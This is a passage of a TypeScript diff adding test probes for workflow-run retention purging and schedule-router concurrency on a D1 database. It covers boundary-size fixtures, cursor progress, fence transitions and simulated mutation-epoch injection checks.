+  ownerId = '😀'.repeat(100),
+  capsuleBytes = 4096,
+) {
+  const snapshot = retentionSnapshot(token);
+  const provenance = snapshot.requestContext['flowsafe.runProvenance'];
+  provenance.startIdentity = {
+    owner: { kind: 'human', id: ownerId },
+    target: { kind: 'agent', id: 'a'.repeat(200), threadId: 't'.repeat(200) },
+  };
+  const startIdentity = { ...provenance.startIdentity, padding: '' };
+  const ownedBytes = () =>
+    [2, token, startIdentity, provenance.agentStart].reduce<number>(
+      (sum, value) => sum + encoder.encode(JSON.stringify(value)).length,
+      0,
+    );
+  const remainder = capsuleBytes - ownedBytes();
+  if (remainder < 0) throw new Error('capsule fixture exceeds requested size');
+  startIdentity.padding =
+    '\\'.repeat(Math.floor(remainder / 2)) + 'x'.repeat(remainder % 2);
+  provenance.startIdentity = startIdentity;
+  if (ownedBytes() !== capsuleBytes)
+    throw new Error('capsule byte fixture is inconsistent');
+  return snapshot;
+}
+
+async function setupMaximumRetentionProbe(
+  db: D1Database,
+  mode: 'modern' | 'legacy',
+) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db);
+  const census = await db
+    .prepare(
+      `SELECT name FROM sqlite_schema WHERE type IN ('table', 'view') AND lower(name) GLOB '*mastra_workflow_snapshot' ORDER BY lower(name)`,
+    )
+    .all<{ name: string }>();
+  const preexistingNamespaces = census.results.length - 1;
+  if (census.results.length > 64)
+    throw new Error('harness census already exceeds retention limit');
+  const prefixes = [E_PREFIX];
+  for (let index = census.results.length; index < 64; index += 1) {
+    const prefix = `${E_PREFIX}namespace_${index}_`.padEnd(39, '_');
+    await createSnapshotTable(db, prefix);
+    prefixes.push(prefix);
+  }
+  const resources = new D1ResourceOwnershipStore(db);
+  await resources.claim('run', 'e-retention-bootstrap', E_OWNER);
+  await db
+    .prepare(
+      `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id = 'e-retention-bootstrap'`,
+    )
+    .run();
+  const statements: D1PreparedStatement[] = [];
+  let maxSnapshotBytes = 0;
+  for (let index = 0; index < 90; index += 1) {
+    const suffix = String(index).padStart(3, '0');
+    const runId = `e-retention-${suffix}`.padEnd(200, 'r');
+    const workflowId = `workflow-${suffix}`.padEnd(200, 'w');
+    const token = `generation-${suffix}`.padEnd(200, 's');
+    const snapshot = {
+      ...(mode === 'modern'
+        ? maximalRetentionSnapshot(token, '\\'.repeat(200))
+        : { status: 'success' }),
+      unrelated: 'x'.repeat(index === 0 ? 1_900_000 : 10_000),
+    };
+    maxSnapshotBytes = Math.max(
+      maxSnapshotBytes,
+      encoder.encode(JSON.stringify(snapshot)).length,
+    );
+    statements.push(
+      insertRetentionSnapshot(db, runId, snapshot, E_PREFIX, workflowId),
+      db
+        .prepare(
+          `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE} (resource_kind, resource_id, owner_kind, owner_id) VALUES ('run', ?, 'human', ?)`,
+        )
+        .bind(runId, E_OWNER.id),
+      insertRetentionKey(
+        db,
+        `orphan-${suffix}`,
+        `e-retention-orphan-${suffix}`,
+        { start_table_prefix: prefixes[index % prefixes.length] as string },
+      ),
+    );
+  }
+  // Orphan rows precede aliases so the same invocation exercises both full pages.
+  for (let index = 0; index < statements.length; index += 20)
+    await db.batch(statements.slice(index, index + 20));
+  if (mode === 'modern') {
+    const aliases = Array.from({ length: 90 }, (_, index) => {
+      const suffix = String(index).padStart(3, '0');
+      return insertRetentionKey(
+        db,
+        `alias-${suffix}`,
+        `e-retention-${suffix}`.padEnd(200, 'r'),
+        {
+          start_token: `generation-${suffix}`.padEnd(200, 's'),
+          start_workflow_id: `workflow-${suffix}`.padEnd(200, 'w'),
+          owner_id: '\\'.repeat(200),
+          target_id: 'a'.repeat(200),
+          thread_id: 't'.repeat(200),
+          state: 'started',
+        },
+      );
+    });
+    for (let index = 0; index < aliases.length; index += 20)
+      await db.batch(aliases.slice(index, index + 20));
+  }
+  const siblingPrefix = prefixes.at(-1);
+  if (!siblingPrefix || siblingPrefix === E_PREFIX)
+    throw new Error('maximum fixture requires a separate namespace');
+  await insertRetentionSnapshot(
+    db,
+    'e-retention-089'.padEnd(200, 'r'),
+    '{malformed',
+    siblingPrefix,
+  ).run();
+  return {
+    namespaces: 64,
+    preexistingNamespaces,
+    createdNamespaces: prefixes.length,
+    rows: 90,
+    maxSnapshotBytes,
+    capsuleBytes: mode === 'modern' ? 4096 : null,
+    ownerUtf16Units: mode === 'modern' ? 200 : null,
+  };
+}
+
+async function maximumRetentionProbe(db: D1Database, retry = false) {
+  const measured = measuredRetentionDatabase(db);
+  const advances: RunRetentionCursor[] = [];
+  const started = performance.now();
+  let purged: number | undefined;
+  let error: string | undefined;
+  let artifacts = 0;
+  try {
+    purged = await purgeExpiredWorkflowRuns(measured.database, {
+      ...retentionOptions(advances),
+      resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      startIdempotencyTable: E_KEYS,
+      limit: 90,
+      ...(retry
+        ? {
+            artifactStore: {
+              deleteRun: async () => {
+                artifacts += 1;
+                if (artifacts === 1) {
+                  const namespace = await db
+                    .prepare(
+                      `SELECT name FROM sqlite_schema WHERE type = 'table' AND name GLOB 'e_retention_namespace_*mastra_workflow_snapshot' ORDER BY name LIMIT 1`,
+                    )
+                    .first<{ name: string }>();
+                  if (
+                    !namespace ||
+                    !/^e_retention_namespace_[a-z0-9_]+$/.test(namespace.name)
+                  )
+                    throw new Error('retry fixture namespace missing');
+                  await db
+                    .prepare(
+                      `ALTER TABLE "${namespace.name}" RENAME TO ${E_PREFIX}retry_mastra_workflow_snapshot`,
+                    )
+                    .run();
+                }
+                return 0;
+              },
+            },
+          }
+        : {}),
+    });
+  } catch (caught) {
+    error = String(caught);
+  }
+  const elapsedMs = performance.now() - started;
+  const [snapshots, keys, owners, census] = await Promise.all([
+    db.prepare(`SELECT count(*) AS count FROM ${E_TABLE}`).first(),
+    db
+      .prepare(`SELECT key, state, updated_at FROM ${E_KEYS} ORDER BY key`)
+      .all(),
+    db
+      .prepare(
+        `SELECT resource_id, owner_id FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`,
+      )
+      .all(),
+    db
+      .prepare(
+        `SELECT count(*) AS count FROM sqlite_schema WHERE type IN ('table', 'view') AND lower(name) GLOB '*mastra_workflow_snapshot'`,
+      )
+      .first(),
+  ]);
+  return {
+    purged,
+    error,
+    advances,
+    artifacts,
+    metrics: measured.metrics,
+    elapsedMs,
+    snapshots,
+    keys: keys.results,
+    owners: owners.results,
+    census,
+  };
+}
+
+async function overflowRetentionProbe(db: D1Database) {
+  const countState = async () => {
+    const rows = await db.batch([
+      db.prepare(`SELECT count(*) AS count FROM ${E_TABLE}`),
+      db.prepare(`SELECT count(*) AS count FROM ${E_KEYS}`),
+      db.prepare(
+        `SELECT count(*) AS count FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`,
+      ),
+    ]);
+    return rows.map(({ results }) => results);
+  };
+  const before = await countState();
+  await createSnapshotTable(db, `${E_PREFIX}overflow_`);
+  const advances: RunRetentionCursor[] = [];
+  let artifacts = 0;
+  let error: string | undefined;
+  try {
+    await purgeExpiredWorkflowRuns(db, {
+      ...retentionOptions(advances),
+      resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      startIdempotencyTable: E_KEYS,
+      artifactStore: {
+        deleteRun: async () => {
+          artifacts += 1;
+          return 0;
+        },
+      },
+    });
+  } catch (caught) {
+    error = String(caught);
+  } finally {
+    await db
+      .prepare(`DROP TABLE ${E_PREFIX}overflow_mastra_workflow_snapshot`)
+      .run();
+  }
+  return { error, artifacts, advances, before, after: await countState() };
+}
+
+async function limitsRetentionProbe(db: D1Database) {
+  await createSnapshotTable(db, E_PREFIX);
+  await createRetentionKeys(db);
+  await db.batch([
+    insertRetentionKey(db, 'k'.repeat(4096), 'e-retention-oversize-key', {
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+    }),
+    insertRetentionKey(db, 'short-orphan', 'e-retention-key-orphan', {
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+    }),
+  ]);
+  const longRegistry = `${E_PREFIX}registry_${'r'.repeat(70)}`;
+  await db.prepare(`ALTER TABLE ${E_KEYS} RENAME TO ${longRegistry}`).run();
+  const cases = [
+    [
+      'capsule-boundary',
+      maximalRetentionSnapshot('generation', '😀'.repeat(100), 4096),
+    ],
+    [
+      'capsule-overflow',
+      maximalRetentionSnapshot('generation', '😀'.repeat(100), 4097),
+    ],
+    [
+      'utf16-overflow',
+      maximalRetentionSnapshot('generation', `${'😀'.repeat(100)}x`, 4096),
+    ],
+    ['unpaired-legacy', { status: 'success' }],
+  ] as const;
+  await db.batch(
+    cases.map(([name, snapshot]) =>
+      insertRetentionSnapshot(db, `e-retention-${name}`, snapshot),
+    ),
+  );
+  const measured = measuredRetentionDatabase(db);
+  const advances: RunRetentionCursor[] = [];
+  const artifacts: string[] = [];
+  const purged = await purgeExpiredWorkflowRuns(measured.database, {
+    ...retentionOptions(advances),
+    startIdempotencyTable: longRegistry,
+    artifactStore: {
+      deleteRun: async (_workflow, runId) => {
+        artifacts.push(runId);
+        return 0;
+      },
+    },
+  });
+  return {
+    purged,
+    advances,
+    artifacts,
+    registryLength: longRegistry.length,
+    remainingKeyLengths: (
+      await db
+        .prepare(`SELECT length(key) AS length FROM ${longRegistry}`)
+        .all()
+    ).results,
+    metrics: measured.metrics,
+    remaining: (
+      await db.prepare(`SELECT run_id FROM ${E_TABLE} ORDER BY run_id`).all()
+    ).results,
+  };
+}
+
+async function progressRetentionProbe(db: D1Database) {
+  await createSnapshotTable(db, E_PREFIX);
+  await db.batch(
+    Array.from({ length: 93 }, (_, index) =>
+      insertRetentionSnapshot(
+        db,
+        `e-retention-progress-${index}`,
+        index < 91
+          ? maximalRetentionSnapshot('generation', 'owner', 4097)
+          : retentionSnapshot(),
+      ),
+    ),
+  );
+  await db
+    .prepare(
+      `CREATE TABLE ${E_PREFIX}cursor (id INTEGER PRIMARY KEY, value TEXT NOT NULL)`,
+    )
+    .run();
+  const pages: Array<{
+    purged?: number;
+    error?: string;
+    cursor: RunRetentionCursor;
+  }> = [];
+  let artifactFailures = 0;
+  const invoke = async () => {
+    const stored = await db
+      .prepare(`SELECT value FROM ${E_PREFIX}cursor WHERE id = 1`)
+      .first<{ value: string }>();
+    const options = {
+      ...retentionOptions([]),
+      ...(stored
+        ? { cursor: JSON.parse(stored.value) as RunRetentionCursor }
+        : {}),
+      limit: 90,
+      advanceCursor: async (cursor: RunRetentionCursor) => {
+        await db.batch([
+          db
+            .prepare(
+              `INSERT INTO ${E_PREFIX}cursor VALUES (1, ?) ON CONFLICT(id) DO UPDATE SET value = excluded.value`,
+            )
+            .bind(JSON.stringify(cursor)),
+        ]);
+      },
+      artifactStore: {
+        deleteRun: async (_workflow: string, runId: string) => {
+          if (runId === 'e-retention-progress-91' && artifactFailures === 0) {
+            artifactFailures += 1;
+            throw Object.create(null);
+          }
+          return 0;
+        },
+      },
+    };
+    let purged: number | undefined;
+    let error: string | undefined;
+    try {
+      purged = await purgeExpiredWorkflowRuns(db, options);
+    } catch (caught) {
+      error = String(caught);
+    }
+    const checkpoint = await db
+      .prepare(`SELECT value FROM ${E_PREFIX}cursor WHERE id = 1`)
+      .first<{ value: string }>();
+    if (!checkpoint) throw new Error('retention cursor was not persisted');
+    pages.push({ purged, error, cursor: JSON.parse(checkpoint.value) });
+  };
+  await invoke();
+  await insertRetentionSnapshot(db, 'e-retention-progress-new').run();
+  await invoke();
+  const afterFirstCycle = (
+    await db
+      .prepare(
+        `SELECT run_id FROM ${E_TABLE} WHERE run_id IN ('e-retention-progress-91', 'e-retention-progress-92', 'e-retention-progress-new') ORDER BY run_id`,
+      )
+      .all()
+  ).results;
+  await invoke();
+  await invoke();
+  const remainingEligible = (
+    await db
+      .prepare(
+        `SELECT run_id FROM ${E_TABLE} WHERE run_id IN ('e-retention-progress-91', 'e-retention-progress-92', 'e-retention-progress-new')`,
+      )
+      .all()
+  ).results;
+  return { pages, artifactFailures, afterFirstCycle, remainingEligible };
+}
+
+async function eRetentionProbe(
+  db: D1Database,
+  scenario: string,
+  action: string | undefined,
+) {
+  if (scenario === 'cleanup') return cleanupRetentionProbe(db);
+  if (scenario === 'maximum-modern' || scenario === 'maximum-legacy') {
+    if (action === 'setup')
+      return setupMaximumRetentionProbe(
+        db,
+        scenario === 'maximum-modern' ? 'modern' : 'legacy',
+      );
+    if (action === 'exercise') return maximumRetentionProbe(db);
+    if (action === 'exercise-retry') return maximumRetentionProbe(db, true);
+    if (action === 'overflow') return overflowRetentionProbe(db);
+    throw new Error('maximum retention scenario requires setup or exercise');
+  }
+  try {
+    if (
+      (scenario === 'cleanup-time-modern' ||
+        scenario === 'cleanup-time-legacy') &&
+      (action === 'initial' ||
+        action === 'held' ||
+        (scenario === 'cleanup-time-legacy' && action === 'reread'))
+    )
+      return await cleanupTimestampRetentionProbe(
+        db,
+        scenario === 'cleanup-time-modern' ? 'modern' : 'legacy',
+        action,
+      );
+    if (
+      scenario === 'duplicate-eligibility' &&
+      (action === 'initial' || action === 'held')
+    )
+      return await duplicateEligibilityRetentionProbe(db, action);
+    if (
+      [
+        'generation',
+        'capsule',
+        'boolean',
+        'null',
+        'duplicate',
+        'legacy',
+        'eligibility',
+        'schema',
+        'schema-churn',
+        'reservation-schema',
+        'schema-view',
+      ].includes(scenario)
+    )
+      return await heldRetentionProbe(db, scenario);
+    if (scenario === 'purge-first' || scenario === 'admission-first')
+      return await ownerAdmissionRetentionProbe(db, scenario);
+    if (scenario === 'siblings') return await siblingOwnerRetentionProbe(db);
+    if (scenario === 'bindings') return await bindingRetentionProbe(db);
+    if (scenario === 'orphan-replacement')
+      return await orphanRetentionProbe(db, 'replacement');
+    if (scenario === 'orphan-absent')
+      return await orphanRetentionProbe(db, 'absent');
+    if (
+      scenario === 'partial-0' ||
+      scenario === 'partial-1' ||
+      scenario === 'partial-2'
+    )
+      return await orphanRetentionProbe(db, Number(scenario.at(-1)));
+    if (scenario === 'limits') return await limitsRetentionProbe(db);
+    if (scenario === 'progress') return await progressRetentionProbe(db);
+    throw new Error('unknown retention scenario');
+  } finally {
+    await cleanupRetentionProbe(db);
+  }
+}
+
+const P3_PREFIX = 'p3_';
+const P3_SCHEDULES = `${P3_PREFIX}mastra_schedules`;
+const P3_TRIGGERS = `${P3_PREFIX}mastra_schedule_triggers`;
+const P3_SNAPSHOTS = `${P3_PREFIX}mastra_workflow_snapshot`;
+const P3_ID = 'schedule-p3-existing';
+const P3_WORKFLOW = 'workflow-schedule';
+const P3_TOKEN = 'p3-local-operator';
+const P3_OWNER = { kind: 'human' as const, id: 'p3-owner' };
+
+async function p3Cleanup(db: D1Database) {
+  const shared = [
+    EXECUTION_FENCE_TABLE,
+    RESOURCE_OWNERSHIP_TABLE,
+    START_IDEMPOTENCY_TABLE,
+  ];
+  const selected = () =>
+    db
+      .prepare(
+        "SELECT name FROM sqlite_master WHERE type = 'table' AND (name GLOB 'p3_*' OR name IN (?, ?, ?)) ORDER BY name LIMIT 129",
+      )
+      .bind(...shared)
+      .all<{ name: string }>();
+  const tables = (await selected()).results;
+  if (tables.length > 128) throw new Error('P3 cleanup table bound exceeded');
+  if (tables.length)
+    await db.batch(
+      tables.map(({ name }) => {
+        if (!name.startsWith(P3_PREFIX) && !shared.includes(name))
+          throw new Error('P3 cleanup selected a foreign table');
+        return db.prepare(`DROP TABLE "${name.replaceAll('"', '""')}"`);
+      }),
+    );
+  const remaining = (await selected()).results;
+  if (remaining.length) throw new Error('P3 cleanup left fixture tables');
+  return { remaining };
+}
+
+type P3Phase = 'none' | 'auth' | 'final' | 'provider';
+type P3Action =
+  | 'none'
+  | 'activate'
+  | 'advance'
+  | 'cycle'
+  | 'capture'
+  | 'resume-race';
+type P3Operation =
+  | 'create'
+  | 'update'
+  | 'pause'
+  | 'resume'
+  | 'delete'
+  | 'pause-noop'
+  | 'resume-noop';
+
+function p3Choice<T extends string>(
+  params: URLSearchParams,
+  key: string,
+  values: readonly T[],
+  fallback: T,
+): T {
+  const value = params.get(key) ?? fallback;
+  if (!values.includes(value as T)) throw new Error(`invalid P3 ${key}`);
+  return value as T;
+}
+
+function p3Options(url: URL) {
+  const epoch = p3Choice(
+    url.searchParams,
+    'epoch',
+    ['missing', 'stale', 'future', 'current', 'invalid'],
+    'current',
+  );
+  return {
+    phase: p3Choice<P3Phase>(
+      url.searchParams,
+      'phase',
+      ['none', 'auth', 'final', 'provider'],
+      'none',
+    ),
+    action: p3Choice<P3Action>(
+      url.searchParams,
+      'action',
+      ['none', 'activate', 'advance', 'cycle', 'capture', 'resume-race'],
+      'none',
+    ),
+    epoch:
+      epoch === 'missing'
+        ? undefined
+        : epoch === 'stale'
+          ? 0
+          : epoch === 'future'
+            ? 3
+            : epoch === 'invalid'
+              ? -1
+              : 2,
+    closed: url.searchParams.get('closed') === 'true',
+  };
+}
+
+function p3Metrics() {
+  return {
+    statements: 0,
+    batches: 0,
+    maxBatchStatements: 0,
+    maxSqlBytes: 0,
+    maxBindings: 0,
+    maxBoundStringBytes: 0,
+    maxResultBytes: 0,
+    rowsRead: 0,
+    rowsWritten: 0,
+  };
+}
+
+interface P3Statement {
+  native: D1PreparedStatement;
+  sql: string;
+  values: unknown[];
+}
+
+function p3Database(
+  db: D1Database,
+  hooks: {
+    beforeBatch?: (statements: P3Statement[]) => Promise<void>;
+    afterBatch?: (
+      statements: P3Statement[],
+      results: D1Result[],
+    ) => Promise<void>;
+    afterStatement?: (sql: string, method: string) => void;
+  } = {},
+) {
+  let metrics = p3Metrics();
+  const entries = new WeakMap<D1PreparedStatement, P3Statement>();
+  const recordStatement = ({ sql, values }: P3Statement) => {
+    metrics.statements++;
+    metrics.maxSqlBytes = Math.max(
+      metrics.maxSqlBytes,
+      encoder.encode(sql).length,
+    );
+    metrics.maxBindings = Math.max(metrics.maxBindings, values.length);
+    for (const value of values) {
+      if (typeof value === 'string')
+        metrics.maxBoundStringBytes = Math.max(
+          metrics.maxBoundStringBytes,
+          encoder.encode(value).length,
+        );
+    }
+  };
+  const recordResult = (result: unknown) => {
+    const envelope = result as {
+      results?: unknown;
+      meta?: { rows_read?: number; rows_written?: number };
+    } | null;
+    metrics.maxResultBytes = Math.max(
+      metrics.maxResultBytes,
+      encoder.encode(JSON.stringify(envelope?.results ?? result) ?? '').length,
+    );
+    metrics.rowsRead += envelope?.meta?.rows_read ?? 0;
+    metrics.rowsWritten += envelope?.meta?.rows_written ?? 0;
+  };
+  const wrap = (entry: P3Statement): D1PreparedStatement => {
+    const statement = new Proxy(entry.native, {
+      get(target, key) {
+        if (key === 'bind')
+          return (...values: unknown[]) =>
+            wrap({ native: target.bind(...values), sql: entry.sql, values });
+        const member = Reflect.get(target, key, target);
+        if (typeof member !== 'function') return member;
+        if (['first', 'all', 'run', 'raw'].includes(String(key)))
+          return async (...args: unknown[]) => {
+            recordStatement(entry);
+            const outcome = await Reflect.apply(member, target, args);
+            recordResult(outcome);
+            hooks.afterStatement?.(entry.sql, String(key));
+            return outcome;
+          };
+        return member.bind(target);
+      },
+    });
+    entries.set(statement, entry);
+    return statement;
+  };
+  const database = new Proxy(db, {
+    get(target, key) {
+      if (key === 'prepare')
+        return (sql: string) =>
+          wrap({ native: target.prepare(sql), sql, values: [] });
+      if (key === 'batch')
+        return async (statements: D1PreparedStatement[]) => {
+          const selected = statements.map((statement) => {
+            const entry = entries.get(statement);
+            if (!entry) throw new Error('foreign P3 prepared statement');
+            return entry;
+          });
+          await hooks.beforeBatch?.(selected);
+          metrics.batches++;
+          metrics.maxBatchStatements = Math.max(
+            metrics.maxBatchStatements,
+            selected.length,
+          );
+          selected.forEach(recordStatement);
+          const result = await target.batch(
+            selected.map(({ native }) => native),
+          );
+          result.forEach(recordResult);
+          if (hooks.afterBatch) await hooks.afterBatch(selected, result);
+          return result;
+        };
+      const member = Reflect.get(target, key, target);
+      return typeof member === 'function' ? member.bind(target) : member;
+    },
+  });
+  return {
+    database,
+    get metrics() {
+      return metrics;
+    },
+    reset() {
+      const previous = metrics;
+      metrics = p3Metrics();
+      return previous;
+    },
+  };
+}
+
+function p3Deferred() {
+  let resolve!: () => void;
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+function p3Gate() {
+  const entered = p3Deferred();
+  const release = p3Deferred();
+  let hits = 0;
+  return {
+    entered: entered.promise,
+    release: release.resolve,
+    get hits() {
+      return hits;
+    },
+    async wait() {
+      hits++;
+      if (hits !== 1) throw new Error('P3 gate entered more than once');
+      entered.resolve();
+      await release.promise;
+    },
+  };
+}
+
+async function p3Deadline<T>(pending: Promise<T>, label: string): Promise<T> {
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  try {
+    return await Promise.race([
+      pending,
+      new Promise<never>((_, reject) => {
+        timer = setTimeout(
+          () => reject(new Error(`P3 ${label} exceeded 8000ms`)),
+          8_000,
+        );
+      }),
+    ]);
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
+async function p3Held<T>(
+  gate: ReturnType<typeof p3Gate>,
+  work: () => Promise<T>,
+  intervene: () => Promise<void>,
+): Promise<T> {
+  const pending = work();
+  const observed = pending.then(
+    (value) => ({ value }),
+    (error: unknown) => ({ error }),
+  );
+  try {
+    await p3Deadline(
+      Promise.race([
+        gate.entered,
+        observed.then(() => {
+          throw new Error('P3 request finished before the selected boundary');
+        }),
+      ]),
+      'boundary wait',
+    );
+    await p3Deadline(intervene(), 'intervention');
+  } finally {
+    gate.release();
+    await p3Deadline(observed, 'request cleanup');
+  }
+  const outcome = await observed;
+  if ('error' in outcome) throw outcome.error;
+  return outcome.value;
+}
+
+async function p3Transition(
+  fence: ExecutionFenceStore,
+  next: 'open' | 'draining',
+  advanceMutationEpoch = false,
+) {
+  const reading = await fence.read();
+  return fence.transition({
+    expected: reading.state,
+    next,
+    expectedMutationEpoch: reading.mutationEpoch,
+    expectedRevision: reading.transitionRevision,
+    ...(advanceMutationEpoch ? { advanceMutationEpoch } : {}),
+  });
+}
+
+async function p3Activate(fence: ExecutionFenceStore) {
+  await p3Transition(fence, 'draining', true);
+  await p3Transition(fence, 'open');
+}
+
+function p3Resolver(
+  db: D1Database,
+  epoch: number | undefined,
+  gate?: ReturnType<typeof p3Gate>,
+) {
+  let source: ActorContext | undefined;
+  const resolve = createActorResolver({
+    authenticate: (request) =>
+      request.headers.get('authorization') === `Bearer ${P3_TOKEN}`
+        ? { id: P3_OWNER.id, role: 'operator' }
+        : undefined,
+    storeFactory: new D1ApprovalStoreFactory(db),
+    mutationEpoch: epoch === -1 ? undefined : epoch,
+    newRunId: () => 'p3-run',
+    buildService: () => {
+      throw new Error('P3 workflow does not request approval');
+    },
+  });
+  return {
+    async resolve(request: Request) {
+      const context = await resolve(request);
+      if (!context) return undefined;
+      source = {
+        ...context,
+        ...(epoch === -1 ? { mutationEpoch: -1 } : {}),
+        canAccessResource: async (...args) => {
+          const allowed = await context.canAccessResource(...args);
+          if (gate && gate.hits === 0) await gate.wait();
+          return allowed;
+        },
+      };
+      return source;
+    },
+    replace() {
+      if (!source) throw new Error('P3 actor has not authenticated');
+      Object.assign(source, {
+        mutationEpoch: epoch === 2 ? 3 : 2,
+        actor: { id: 'replacement', role: 'viewer' },
+        principal: { kind: 'human', id: 'replacement', role: 'viewer' },
+        resourceOwner: { kind: 'human', id: 'replacement' },
+      });
+    },
+  };
+}
+
+function p3Request(
+  path: string,
+  method: string,
+  body?: string,
+  gate?: ReturnType<typeof p3Gate>,
+) {
+  const headers = {
+    authorization: `Bearer ${P3_TOKEN}`,
+    'content-type': 'application/json',
+  };
+  if (body === undefined)
+    return new Request(`http://p3.test${path}`, { method, headers });
+  const bytes = encoder.encode(body);
+  const stream = gate
+    ? new ReadableStream<Uint8Array>(
+        {
+          async pull(controller) {
+            await gate.wait();
+            controller.enqueue(bytes);
+            controller.close();
+          },
+        },
+        { highWaterMark: 0 },
+      )
+    : body;
+  return new Request(`http://p3.test${path}`, {
+    method,
+    headers,
+    body: stream,
+  });
+}
+
+async function p3Response(response: Response | null) {
+  if (!response) throw new Error('P3 router did not match request');
+  return { status: response.status, body: await response.json() };
+}
+
+async function p3RawSchedules(db: D1Database) {
+  const [schedules, triggers, owners] = await Promise.all([
+    db.prepare(`SELECT * FROM ${P3_SCHEDULES} ORDER BY id`).all(),
+    db.prepare(`SELECT * FROM ${P3_TRIGGERS} ORDER BY id`).all(),
+    db
+      .prepare(
+        `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} ORDER BY resource_kind, resource_id`,
+      )
+      .all(),
+  ]);
+  return {
+    schedules: schedules.results,
+    triggers: triggers.results,
+    owners: owners.results,
+  };
+}
+
+async function p3ScheduleProbe(db: D1Database, url: URL) {
+  const options = p3Options(url);
+  const operation = p3Choice<P3Operation>(
+    url.searchParams,
+    'operation',
+    [
+      'create',
+      'update',
+      'pause',
+      'resume',
+      'delete',
+      'pause-noop',
+      'resume-noop',
+    ],
+    'create',
+  );
+  const gate = p3Gate();
+  let armed = false;
+  let finalBatches = 0;
+  const measured = p3Database(db, {
+    beforeBatch: async (statements) => {
+      if (
+        !armed ||
+        !statements.some(
+          ({ sql }) =>
+            sql.includes(P3_SCHEDULES) && sql.includes(EXECUTION_FENCE_TABLE),
+        )
+      )
+        return;
+      finalBatches++;
+      if (options.phase === 'final' && gate.hits === 0) await gate.wait();
+    },
+  });
+  const administration = p3Database(db);
+  const evidence = p3Database(db);
+  const fence = new ExecutionFenceStore(measured.database);
+  const adminFence = new ExecutionFenceStore(administration.database);
+  const store = new D1SchedulesStorage(measured.database, P3_PREFIX);
+  const adminStore = new D1SchedulesStorage(administration.database, P3_PREFIX);
+  await fence.seed('open');
+  await store.createOwnedSchedule(
+    {
+      ...schedule(P3_ID),
+      status:
+        operation === 'resume' || operation === 'pause-noop'
+          ? 'paused'
+          : 'active',
+    },
+    P3_OWNER,
+    10,
+  );
+  await db
+    .prepare(`UPDATE ${P3_SCHEDULES} SET metadata = ?, target = ? WHERE id = ?`)
+    .bind(
+      '{ "seed": "original" }',
+      '{ "type": "workflow", "workflowId": "workflow-schedule", "inputData": {} }',
+      P3_ID,
+    )
+    .run();
+  const deferred = url.searchParams.get('deferred') === 'true';
+  const triggerCount = url.searchParams.get('history') === 'true' ? 120 : 2;
+  for (let index = 0; index < triggerCount; index++) {
+    await store.recordTrigger({
+      id: `p3-trigger-${String(index).padStart(3, '0')}`,
+      scheduleId: P3_ID,
+      runId: `p3-prior-${index}`,
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: deferred && index === 0 ? 'deferred' : 'published',
+      metadata: { original: true },
+    });
+  }
+  if (options.action !== 'activate') {
+    await p3Activate(adminFence);
+    await p3Activate(adminFence);
+  }
+  if (options.closed) await p3Transition(adminFence, 'draining');
+  const resolver = p3Resolver(
+    measured.database,
+    options.epoch,
+    options.phase === 'auth' && operation !== 'create' && operation !== 'update'
+      ? gate
+      : undefined,
+  );
+  const audit: unknown[] = [];
+  const router = createScheduleRouter({
+    resolve: resolver.resolve,
+    store,
+    executionFence: fence,
+    targetPolicy: createScheduleTargetPolicy({
+      workflows: [{ id: P3_WORKFLOW }],
+      agents: [],
+    }),
+    validateThreadTarget: async () => {
+      throw new Error('P3 workflow target cannot require a thread');
+    },
+    maxSchedules: url.searchParams.get('cap') === 'true' ? 1 : 10,
+    audit: (event) => {
+      audit.push(event);
+    },
+  });
+  const method =
+    operation === 'update'
+      ? 'PATCH'
+      : operation === 'delete'
+        ? 'DELETE'
+        : 'POST';
+  const path =
+    operation === 'create'
+      ? '/api/schedules'
+      : operation === 'update' || operation === 'delete'
+        ? `/api/schedules/${P3_ID}`
+        : `/api/schedules/${P3_ID}/${operation.startsWith('pause') ? 'pause' : 'resume'}`;
+  const body: Record<string, unknown> =
+    operation === 'create'
+      ? {
+          workflowId: P3_WORKFLOW,
+          cron: '* * * * *',
+          metadata: { edited: true },
+        }
+      : { metadata: { edited: true } };
+  if (url.searchParams.get('patchPaused') === 'true') {
+    delete body.metadata;
+    body.status = 'paused';
+  }
+  const injected = url.searchParams.get('injection');
+  if (injected === 'body') body.mutationEpoch = 2;
+  if (injected === 'stored')
+    body.requestContext = { mutationEpoch: 2, 'flowsafe.mutationEpoch': 2 };
+  const bytes = url.searchParams.get('bytes');
+  if (bytes === '16384' || bytes === '16385') {
+    body.metadata = { unicode: 'é', pad: '' };
+    const metadata = body.metadata as { unicode: string; pad: string };
+    metadata.pad = 'x'.repeat(
+      Number(bytes) - encoder.encode(JSON.stringify(body)).length,
+    );
+  }
+  const rawBody =
+    operation === 'create' || operation === 'update'
+      ? JSON.stringify(body)
+      : undefined;
+  const request = p3Request(
+    path,
+    method,
+    rawBody,
+    options.phase === 'auth' &&
+      (operation === 'create' || operation === 'update')
+      ? gate
+      : undefined,
+  );
+  if (injected === 'header') request.headers.set(MUTATION_EPOCH_HEADER, '2');
+  const before = await p3RawSchedules(evidence.database);
+  const setupMetrics = measured.reset();
+  let intervened = before;
+  let fenceBeforeRelease = await adminFence.read();
+  armed = true;
+  const intervene = async () => {
+    if (options.action === 'activate' || options.action === 'advance')
+      await p3Activate(adminFence);
+    if (options.action === 'cycle') {
+      await p3Transition(adminFence, 'draining');
+      await p3Transition(adminFence, 'open');
+    }
+    if (options.action === 'capture') resolver.replace();
+    if (options.action === 'resume-race')
+      await adminStore.updateSchedule(
+        P3_ID,
+        { cron: '*/5 * * * *', timezone: 'UTC' },
+        { mutationEpoch: 2 },
+      );
+    fenceBeforeRelease = await adminFence.read();
